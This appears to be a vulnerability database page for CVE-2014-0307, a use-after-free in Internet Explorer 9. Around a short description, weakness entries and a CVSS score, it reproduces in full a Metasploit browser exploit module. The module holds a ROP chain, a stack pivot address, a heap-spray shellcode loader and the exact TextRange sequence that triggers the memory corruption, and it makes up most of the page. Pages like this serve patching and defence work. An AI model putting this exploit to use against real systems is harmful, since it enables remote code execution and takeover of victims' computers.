CVE-2014-0307
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Use-after-free vulnerability in Microsoft Internet Explorer 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a certain sequence of manipulations of a TextRange element, aka "Internet Explorer Memory Corruption Vulnerability."
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
||
| Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 32438
Publication date : 2014-03-21 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "MS14-012 Internet Explorer TextRange Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
was most likely introduced back in 2013, therefore only certain builds of MSHTML are
affected. In our testing with IE9, these vulnerable builds appear to be between
9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
(before the patch).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original discovery
'sinn3r' # Port
],
'References' =>
[
[ 'CVE', '2014-0307' ],
[ 'MSB', 'MS14-012' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script/i,
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:office => "2010"
#:ua_ver => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
},
'Targets' =>
[
[
'Automatic',
{
# mov eax,dword ptr [edx+0C4h]; call eax
'Pivot' => 0x0c0d1020 # ECX
}
]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'Retries' => false, # You're too kind, tab recovery, I only need 1 shell.
'InitialAutoRunScript' => 'migrate -f'
},
'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
'DefaultTarget' => 0))
end
# hxds.dll
def get_payload
setup =
[
0x51C3B376, # rop nop
0x51C2046E, # pop edi; ret
0x51BE4A41, # xchg eax, esp; ret
].pack("V*")
# rop nops
45.times { setup << [0x51C3B376].pack('V*') }
setup << [
0x51C2046E, # pop edi ; ret
0x51BD28D4 # mov eax, [ecx], call [eax+8]
].pack('V*')
p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
Rex::Text.to_unescape(p)
end
def exploit_html
template = %Q|<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Cache-Control' content='no-cache'/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
<script>
<%=js_property_spray%>
sprayHeap({shellcode:unescape("<%=get_payload%>")});
function hxds() {
try {
location.href = 'ms-help:';
} catch(e) {}
}
function strike() {
hxds();
var fake = "";
for (var i = 0; i < 12; i++) {
if (i==0) {
fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
}
else {
fake += "\\u4141\\u4141";
}
}
var elements = [
'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
];
for (var i = 0; i < elements.length; i++) {
var element = document.createElement(elements[i]);
document.body.appendChild(element);
}
var tRange = document.body.createTextRange();
tRange.moveToElementText(document.body.children[16]);
tRange.execCommand('InsertInputSubmit', true, null);
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',4);
tRange.execCommand('InsertOrderedList', true, null);
tRange.select();
tRange.moveToElementText(document.body.children[0]);
tRange.moveEnd('character',13);
tRange.execCommand('Underline', true, null);
tRange.execCommand('RemoveFormat', true, null);
var fillObject = document.createElement('button');
fillObject.className = fake;
}
</script>
</head>
<body onload='strike();'></body>
</html>
|
return template, binding()
end
def on_request_exploit(cli, request, target_info)
send_exploit_html(cli, exploit_html)
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
- Microsoft>>Internet_explorer >> Version 9 (Open CPE detail)
References
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-012
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
